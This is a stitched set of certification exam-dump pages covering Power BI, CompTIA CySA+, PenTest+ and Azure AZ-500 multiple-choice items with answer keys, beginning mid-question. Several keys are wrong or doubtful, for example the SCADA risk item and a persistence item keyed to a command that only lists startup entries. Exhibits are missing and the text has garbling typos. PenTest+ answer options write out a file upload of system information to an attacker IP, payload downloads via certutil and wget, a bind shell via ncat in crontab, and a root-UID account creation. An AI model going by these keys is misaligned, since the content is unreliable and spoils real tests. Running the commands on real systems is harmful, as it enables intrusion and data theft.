A. Change the lite OrderlD column in the Orders table to the text data type.
B. Filter out discontinued products while importing the Product table.
C. Remove the QuantityPerUnit column from the Products table
D. Group the Categories table by the CategorylD column.

Correct Answer: D

NEW Q5

You are creating a Power BI report to analyze consumer purchasing patterns from a table named Transactions. The Transactions table contains a numeric field named Spend. You need to include a visual that identifies which fields have the greatest impact on Spend. Which type of visual should you use?

A. decomposition tree
B. QandA
C. smart narrative
D. key influences

Correct Answer: D

NEW Q6

You use an R visual to produce a map of 500,000 customers. You include the values of CustomerID, Latitude, and Longitude in the fields sent to the visual. Each customer ID is unique. In powerbi.com, when users load the visual, they only see some of the customers. What is the cause of the issue?

A. The visual was built by using a different version of R.
B. The data comes from a Microsoft SQL Server source.
C. The data is deduplicated.
D. Too many records were sent to the visual.

Correct Answer: D

R visuals in the Power BI service have a few limitations including:
Data size limitations data used by the R visual for plotting is limited to 150,000 rows. If more than 150,000 rows are selected, only the top 150,000 rows are used and a message is displayed on the image. Additionally, the input data has a limit of 250 MB.

Reference:
https://docs.microsoft.com/en-us/power-bi/visuals/service-r-visuals

NEW Q7

Your company has employees in 10 states. The company recently decided to associate each state with one of the following three regions: East, West, and North. You have a data model that contains employee information by state. The model does NOT include region information. You have a report that shows the employees by state. You need to view the employees by region as quickly as possible. What should you do?

A. Create a new aggregation that summarizes the employee.
B. Create a new group on the state column and set the Group type to List.
C. Create a new group on the state column and set the Group type to Bin.
D. Create a new aggregation that summarizes by state.

Correct Answer: B

https://www.mssqltips.com/sqlservertip/4720/binning-and-grouping-data-with-power-bi/

NEW Q8

From Power 61 Desktop, you publish a new dataset and report to a Power Bl workspace. The dataset has a row-level security (RLS) role named HR. You need to ensure that the HR team members have RLS applied when they view reports based on the dataset. What should you do?

A. From Power Bl Desktop, change the Row-Level Security settings.
B. From Power Bl Desktop, import a table that contains the HR team members
C. From powerbi.com.add users to the HR role for the dataset.
D. From powerbi.com. Share the dataset with the HR team members.

Correct Answer: C

NEW Q9

You have a report that contains four pages. Each page contains slicers for the same four fields. Users report that when they select values on a slicer on one page, the visuals are not updated on all the pages.
You need to recommend a solution to ensure that users can select a value once to filter the results on all the pages.

What are two possible recommendations to achieve this goal? Each correct answer presents a complete solution. NOTE: Each correct selection is worth one point.

A. Sync the slicers across the pages.
B. Replace the slicers with page-level filters.
C. Replace the slicers with visual-level filters.
D. Create a bookmark for each slicer value.
E. Replace the slicers with report-level filters.

Correct Answer: AE

Add a report-level filter to filter an entire report. The visuals on the active page, and on all pages in the report, change to
reflect the new filter. You can sync a slicer and use it on any or all pages in a report.

1. On the Power BI Desktop View menu, select Sync slicers.

Reference:
https://docs.microsoft.com/en-us/power-bi/create-reports/power-bi-report-add-filter https://docs.microsoft.com/enus/power-bi/visuals/power-bi-visualization-slicers

NEW Q10

Your company plans to completely separate development and production assets such as datasets, reports, and dashboards in Microsoft Power Bl. You need to recommend an application lifecycle strategy. The solution must minimize maintenance to update access and prevent end users from viewing the development assets. What should you recommend?

A. Create production reports in a separate workspace that uses a shared dataset from the development workspace. Grant the end users access to the production workspace.
B. In the same workspace, create separate copies of the assets and append DEV to the names of the copied assets. Grant the end users access to the workspace.
C. Create separate workspaces for development and production. Grant the end users access to the production workspace.
D. Create one workspace for development. From the workspace, publish an app for production.

Correct Answer: C

NEW Q11

You have five sales regions. Each region is assigned a single salesperson. You have an imported dataset that has a dynamic row-level security (RLS) role named Sales. The Sales role filters sales transaction data by the salesperson. Salespeople must see only the data from their region.

You publish the dataset to powerbi.com, set RLS role membership, and distribute the dataset and related reports to the salespeople.

A salesperson reports that she believes she should see more data. You need to verify what data the salesperson currently sees. What should you do?

A. Use the Test as role option to view data as the salesperson\’s user account.
B. Use the Test as role option to view data as the Sales role.
C. Instruct the salesperson to open the report in Microsoft Power Bl Desktop.
D. Filter the data in the reports to match the intended logic in the filter on the sales transaction table.

Correct Answer: B

Validate the roles within Power BI Desktop
After you\’ve created your roles, test the results of the roles within Power BI Desktop. From the Modeling tab, select View as.

Select a role you created, and then select OK to apply for that role. The report renders the data relevant to that role. You can also select Other user and supply a given user. Select OK. The report renders based on what that user can see.

Reference:
https://docs.microsoft.com/en-us/power-bi/admin/service-admin-rls

NEW Q12

DRAG DROP
You have the line chart shown in the exhibit. (Click the Exhibit tab.)

You need to modify the chart to meet the following requirements:
1. Identify months that have order counts above the mean.
2. Display the mean monthly order count.

Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.
Select and Place:

1. Select the line chart
2. Add the average line
3. Turn on Data Label

Reference: https://community.powerbi.com/t5/Desktop/Moving-Average/td-p/43041

NEW Q13

HOTSPOT
You have a report in Power BI Desktop as shown in the following exhibit.

Use the drop-down menus to select the answer choice that completes each statement based on the information presented in the graphic. Note: Each correct selection is worth one point.
Hot Area:

Correct Answer:

Summary:

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CompTIA CS0-002 Exam Dumps Questions Update – Reliable Exam Material

November 8, 2022November 8, 2022 softkeysd

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Exam Codes CS0-002
Number of Questions Maximum of 85 questions
Type of Questions Multiple choice and performance-based
Length of Test 165 minutes
Passing Score 750 (on a scale of 100-900)
Price $392 USD

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[2022.11] New CompTIA Cybersecurity Analyst (CySA+) Free CS0-002 Dumps Questions

NEW QUESTION 1

A cybersecurity analyst is investigating an incident report concerning a specific user workstation. The workstation is exhibiting high CPU and memory usage, even when first started, and network bandwidth usage is extremely high. The user reports that applications crash frequently, despite the fact that no significant changes in work habits have occurred.

An antivirus scan reports no known threats. Which of the following is the MOST likely reason for this?

A. Advanced persistent threat
B. Zero-day
C. Trojan
D. Logic bomb

Correct Answer: B

NEW QUESTION 2

In response to a potentially malicious email that was sent to the Chief Financial Officer (CFO), an analyst reviews the logs and identifies a questionable attachment using a hash comparison. The logs also indicate the attachment was already opened. Which of the following should the analyst do NEXT?

A. Create a sinkhole to block the originating server.
B. Utilize the EDR platform to isolate the CFO\\’s machine.
C. Perform malware analysis on the attachment.
D. Reimage the CFO\\’s laptop.

Correct Answer: A

Reference: https://bluecatnetworks.com/blog/dns-sinkhole-a-tool-to-help-thwart-cyberattacks/

NEW QUESTION 3

The Chief Executive Officer (CEO) instructed the new Chief Information Security Officer (CISO) to provide a list of enhancements to the company\\’s cybersecurity operation. As a result, the CISO has identified the need to align security operations with industry best practices. Which of the following industry references is appropriate to accomplish this?

A. OSSIM
B. NIST
C. PCI
D. OWASP

Correct Answer: B

Reference: https://www.nist.gov/sites/default/files/documents/itl/Cybersecurity_Green-Paper_FinalVersion.pdf

NEW QUESTION 4

A technician is running an intensive vulnerability scan to detect which ports are open to exploit. During the scan, several network services are disabled and production is affected. Which of the following sources would be used to evaluate? Which network service was interrupted?

A. Syslog
B. Network mapping
C. Firewall logs
D. NIDS

Correct Answer: A

NEW QUESTION 5

A team of security analysts has been alerted to potential malware activity. The initial examination indicates one of the affected workstations on beaconing on TCP port 80 to five IP addresses and attempting to spread across the network over port 445. Which of the following should be the team\\’s NEXT step during the detection phase of this response process?

A. Escalate the incident to management, who will then engage the network infrastructure team to keep them informed
B. Depending on the system critically remove each affected device from the network by disabling wired and wireless connections
C. Engage the engineering team to block SMB traffic internally and outbound HTTP traffic to the five IP addresses Identify potentially affected systems by creating a correlation
D. Identify potentially affected systems by creating a correlation search in the SIEM based on the network traffic.

Correct Answer: D

NEW QUESTION 6

An organization has the following risk mitigation policy:
1. Risks with a probability of 95% or greater will be addressed before all others regardless of the impact.
2. All other prioritization will be based on risk value. The organization has identified the following risks:

Which of the following is the order of priority for risk mitigation from highest to lowest?

A. A, B, D, C
B. A, B, C, D
C. D, A, B, C
D. D, A, C, B

Correct Answer: D

NEW QUESTION 7

A storage area network (SAN) was inadvertently powered off while power maintenance was being performed in a datacenter. None of the systems should have lost all power during the maintenance. Upon review, it is discovered that a SAN administrator moved a power plug when testing the SAN\\’s fault notification features.

Which of the following should be done to prevent this issue from reoccurring?

A. Ensure both power supplies on the SAN are serviced by separate circuits so that if one circuit goes down, the other remains powered.
B. Install additional batteries in the SAN power supplies with enough capacity to keep the system powered on during maintenance operations.
C. Ensure power configuration is covered in the data center change management policy and has the SAN administrator review this policy.
D. Install a third power supply in the SAN so the loss of any power intuit does not result in the SAN completely powering off.

Correct Answer: A

NEW QUESTION 8

A security analyst is investigating an incident that appears to have started with SOL injection against a publicly available web application. Which of the following is the FIRST step the analyst should take to prevent future attacks?

A. Modify the IDS rules to have a signature for SQL injection.
B. Take the server offline to prevent continued SQL injection attacks.
C. Create a WAF rule In block mode for SQL injection
D. Ask the developers to implement parameterized SQL queries.

Correct Answer: A

NEW QUESTION 9

An analyst finds that unpatched servers have undetected vulnerabilities because the vulnerability scanner does not have the latest set of signatures. Management directed the security team to have personnel update the scanners with the latest signatures at least 24 hours before conducting any scans, but the outcome is unchanged.

Which of the following is the BEST logical control to address the failure?

A. Configure a script to automatically update the scanning tool.
B. Manually validate that the existing update is being performed.
C. Test vulnerability remediation in a sandbox before deploying.
D. Configure vulnerability scans to run in credentialed mode.

Correct Answer: A

NEW QUESTION 10

An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meets the compatibility requirement? (Select three.)

A. 3DES
B. AES
C. IDEA
D. PKCS
E. PGP
F. SSL/TLS
G. TEMPEST

Correct Answer: BDF

NEW QUESTION 11

Which of the following is MOST dangerous to the client environment during a vulnerability assessment penetration test?

A. There is a longer period of time to assess the environment.
B. The testing is outside the contractual scope
C. There is a shorter period of time to assess the environment
D. No status reports are included with the assessment.

Correct Answer: B

NEW QUESTION 12

A cybersecurity analyst is dissecting an intrusion down to specific techniques and wants to organize them in a logical manner. Which of the following frameworks would BEST apply in this situation?

A. Pyramid of Pain
B. MITRE ATTandCK
C. Diamond Model of Intrusion Analysis
D. CVSS v3.0

Correct Answer: B

NEW QUESTION 13

A security analyst is investigating a compromised Linux server. The analyst issues the ps command and receives the following output.

Which of the following commands should the administrator run NEXT to further analyze the compromised system?

A. strace /proc/1301
B. rpm -V openash-server
C. /bin/la -1 /proc/1301/exe
D. kill -9 1301

Correct Answer: A

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PT0-002 Dumps 2022 Update: Effective CompTIA PenTest+ Exam Practice Materials

September 29, 2022September 29, 2022 softkeysd

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CompTIA PT0-002 Free Dumps: CompTIA PenTest+ Exam Practice Questions Answers Updated 2022-09

NEW QUESTION 1

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

A. HTTPS communication
B. Public and private keys
C. Password encryption
D. Sessions and cookies

Correct Answer: D

NEW QUESTION 2

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

A. Wireshark
B. Aircrack-ng
C. Kismet
D. Wifite

Correct Answer: B

Reference: https://null-byte.wonderhowto.com/how-to/hack-wi-fi-stealing-wi-fi-passwords-with-evil-twin-attack-0183880/

NEW QUESTION 3

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

A. Executive summary of the penetration-testing methods used
B. Bill of materials including supplies, subcontracts, and costs incurred during the assessment
C. Quantitative impact assessments are given a successful software compromise
D. Code context for instances of unsafe type-casting operations

Correct Answer: C

NEW QUESTION 4

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

A. Cost of the assessment
B. Report distribution
C. Testing restrictions
D. Liability

Correct Answer: B

NEW QUESTION 5

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

A. A signed statement of work
B. The correct user accounts and associated passwords
C. The expected time frame of the assessment
D. The proper emergency contacts for the client

Correct Answer: C

NEW QUESTION 6

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider\\’s metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery
B. Server-side request forgery
C. Remote file inclusion
D. Local file inclusion

Correct Answer: B

Reference: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

NEW QUESTION 7

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following: Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability analysis Exploitation and post-exploitation Reporting Which of the following methodologies does the client use?

A. OWASP Web Security Testing Guide
B. PTES technical guidelines
C. NIST SP 800-115
D. OSSTMM

Correct Answer: B

Reference: https://kirkpatrickprice.com/blog/stages-of-penetration-testing-according-to-ptes/

NEW QUESTION 8

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

Which of the following is the MOST likely reason for the lack of output?

A. The HTTP port is not open on the firewall.
B. The tester did not run sudo before the command.
C. The web server is using HTTPS instead of HTTP.
D. This URI returned a server error.

Correct Answer: A

NEW QUESTION 9

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe
B. powershell (New-Object System.Net.WebClient).UploadFile(http://192.168.2.124/upload.php\\',systeminfo.txt\’)
C. schtasks /query /fo LIST /v | find /I “Next Run Time:”
D. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe

Correct Answer: B

Reference: https://infosecwriteups.com/privilege-escalation-in-windows-380bee3a2842

NEW QUESTION 10

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

A. Nmap
B. Wireshark
C. Metasploit
D. Netcat

Correct Answer: B

NEW QUESTION 11

Performing a penetration test against an environment with SCADA devices brings additional safety risks because the:

A. devices produce more heat and consume more power.
B. devices are obsolete and are no longer available for replacement.
C. protocols are more difficult to understand.
D. devices may cause physical world effects.

Correct Answer: C

Reference: https://www.hindawi.com/journals/scn/2018/3794603/

NEW QUESTION 12

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client\\’s laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
B. wmic startup get caption,command
C. crontab –l; echo “@reboot sleep 200 andand ncat –lvp 4242 –e /bin/bash”) | crontab 2>/dev/null
D. sudo useradd –ou 0 –g 0 user

Correct Answer: B

NEW QUESTION 13

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

A. Smurf
B. Ping flood
C. Fraggle
D. Ping of death

Correct Answer: A

Reference: https://resources.infosecinstitute.com/topic/icmp-attacks/

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AZ-500 Dumps Newly | Microsoft Azure Security Technologies Exam Learning Helper

August 10, 2022August 10, 2022 softkeysd

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Free Microsoft Azure Security Technologies AZ-500 Dumps Update Q&As

1. You have an Azure Active Directory (Azure AD) tenant and a root management group. You create 10 Azure subscriptions and add the subscriptions to the root management group. You need to create an Azure Blueprints definition that will be stored in the root management group. What should you do first?

A. Add an Azure Policy definition to the root management group.
B. Modify the role-based access control (RBAC) role assignments for the root management group.
C. Create a user-assigned identity.
D. Create a service principal.

Correct Answer: B

Reference: https://docs.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin

2. HOTSPOT
You have an azure active Directory (Azure AD) tenant that contains the resources shown in the following table.

User2 is the owner of Group2.
The user and group settings for App1 are configured as shown in the following exhibit.

Correct Answer:

3. You have two Azure virtual machines in the East US2 region as shown in the following table.

You deploy and configure an Azure Key vault. You need to ensure that you can enable Azure Disk Encryption on VM1 and VM2. What should you modify on each virtual machine? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point.

Hot Area:
Correct Answer:

VM1: The Tier
The Tier needs to be upgraded to standard.
Disk Encryption for Windows and Linux IaaS VMs is in General Availability in all Azure public regions and Azure Government regions for Standard VMs and VMs with Azure Premium Storage.

VM2: The type
Need to change the VM type to any of A, D, DS, G, GS, F, and so on, series IaaS VMs.
Not the operating system version: Ubuntu 16.04 is supported.

References:
https://docs.microsoft.com/en-us/azure/security/azure-security-disk-encryption-overview
https://docs.microsoft.com/en-us/azure/security/azure-security-disk-encryption-faq#bkmk_LinuxOSSupport

4. You have an Azure SQL database. You implement Always Encrypted. You need to ensure that application developers can retrieve and decrypt data in the database. Which two pieces of information should you provide to the developers? Each correct answer presents part of the
solution. NOTE: Each correct selection is worth one point.

A. a stored access policy
B. a shared access signature (SAS)
C. the column encryption key
D. user credentials
E. the column master key

Correct Answer: CE

Always Encrypted uses two types of keys: column encryption keys and column master keys. A column encryption key is used to encrypt data in an encrypted column. A column master key is a key-protecting key that encrypts one or more column encryption keys.

References: https://docs.microsoft.com/en-us/sql/relational-databases/security/encryption/always-encrypted-databaseengine

5. You are evaluating the effect of the application security groups on the network communication between the virtual machines in Sub2. For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point.

Box 1: No. VM4 is in Subnet13 which has NSG3 attached to it.
VM1 is in ASG1. NSG3 would only allow ICMP pings from ASG2 but not ASG1. Only TCP traffic is allowed from ASG1. NSG3 has the inbound security rules shown in the following table.
Box 2: Yes.
VM2 is in ASG2. Any protocol is allowed from ASG2 so ICMP ping would be allowed.
Box3. VM1 is in ASG1. TCP traffic is allowed from ASG1 so VM1 could connect to the web server as connections to the web server would be on ports TCP 80 or TCP 443.

6. You have an Azure subscription that contains a virtual network. The virtual network contains the subnets shown in the following table.

You enable just-in-time (JIT) VM access for all the virtual machines. You need to identify which virtual machines are protected by JIT. Which virtual machines should you identify?

A. VM4 only
B. VM1 and VM3 only
C. VM1, VM3, and VM4 only
D. VM1, VM2, VM3, and VM4

Correct Answer: C
An NSG needs to be enabled, either at the VM level or the subnet level.
Reference: https://docs.microsoft.com/en-us/azure/security-center/security-center-just-in-time

7. You are configuring and securing a network environment. You deploy an Azure virtual machine named VM1 that is configured to analyze network traffic. You need to ensure that all network traffic is routed through VM1. What should you configure?

A. a system route
B. a network security group (NSG)
C. a user-defined route

Correct Answer: C

Although the use of system routes facilitates traffic automatically for your deployment, there are cases in which you want to control the routing of packets through a virtual appliance. You can do so by creating user-defined routes that specify the next hop for packets flowing to a specific subnet to go to your virtual appliance instead, and enable IP forwarding for the VM running as the virtual appliance.

Note: User Defined Routes
For most environments, you will only need the system routes already defined by Azure. However, you may need to create a routing table and add one or more routes in specific cases, such as:
1. Force tunneling to the Internet via your on-premises network.
2. Use of virtual appliances in your Azure environment.
3. In the scenarios above, you will have to create a routing table and add user-defined routes to it.

Reference: https://github.com/uglide/azure-content/blob/master/articles/virtual-network/virtual-networks-udroverview.md

8. HOTSPOT
You have an Azure subscription that contains an Azure key vault named ContosoKey1. You create users and assign them roles as shown in the following table.

Correct Answer:

Reference: https://docs.microsoft.com/en-gb/azure/key-vault/general/rbac-guide

9. You need to create Role1 to meet the platform protection requirements. How should you complete the role definition of Role1? To answer, select the appropriate options in the answer area.

NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

Scenario: A new custom RBAC role named Role1 must be used to delegate the administration of the managed disks in Resource Group1. Role1 must be available only for Resource Group1.
Azure RBAC template managed disks “Microsoft.Storage/”

References:
https://blogs.msdn.microsoft.com/azureedu/2017/02/11/new-managed-disk-storage-option-for-your-azure-vms/

10. SIMULATION The developers at your company plan to publish an app named App11641655 to Azure.
You need to ensure that the app is registered to Azure Active Directory (Azure AD). The registration must use the signon URLs of https://app.contoso.com. To complete this task, sign in to the Azure portal and modify the Azure resources.

A. See the below.
Correct Answer: A

Step 1: Register the Application
1. Sign in to your Azure Account through the Azure portal.
2. Select Azure Active Directory.
3. Select App registrations.
4. Select New registration.
5. Name the application App11641655. Select a supported account type, which determines who can use the application. Under Redirect URI, select Web for the type of application you want to create. Enter the URI: https://app.contoso.com, where the access token is sent to.
6. Click Register

Reference: https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-create-service-principal-portal

11. HOTSPOT You have an Azure subscription named Sub1. Sub1 has an Azure Storage account named storage1 that contains the resources shown in the following table.

Correct Answer:

12. HOTSPOT You plan to use Azure Sentinel to create an analytic rule that will detect suspicious threats and automate responses. Which components are required for the rule? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point.

Hot Area:

Reference: https://docs.microsoft.com/en-us/azure/sentinel/tutorial-detect-threats-custom https://docs.microsoft.com/en-us/azure/sentinel/tutorial-respond-threats-playbook

13. SIMULATION
You need to ensure that the events in the NetworkSecurityGroupRuleCounter log of the VNET01-Subnet0-NSG network security group (NSG) are stored in the logs11597200 Azure Storage account for 30 days. To complete this task, sign in to the Azure portal.

A. See the below.
Correct Answer: A

You need to configure the diagnostic logging for the NetworkSecurityGroupRuleCounter log.
1. In the Azure portal, type Network Security Groups in the search box, select Network Security Groups from the search results then select VNET01-Subnet0-NSG. Alternatively, browse to Network Security Groups in the left navigation pane.
2. In the properties of the Network Security Group, click on Diagnostic Settings.
3. Click on the Add diagnostic setting link.
4. Provide a name in the Diagnostic settings name field. It doesn\’t matters what name you provide for the exam.
5. In the Log section, select NetworkSecurityGroupRuleCounter.
6. In the Destination details section, select Archive to a storage account.
7. In the Storage account field, select the logs11597200 storage account.
8. In the Retention (days) field, enter 30.
9. Click the Save button to save the changes.

Summarize

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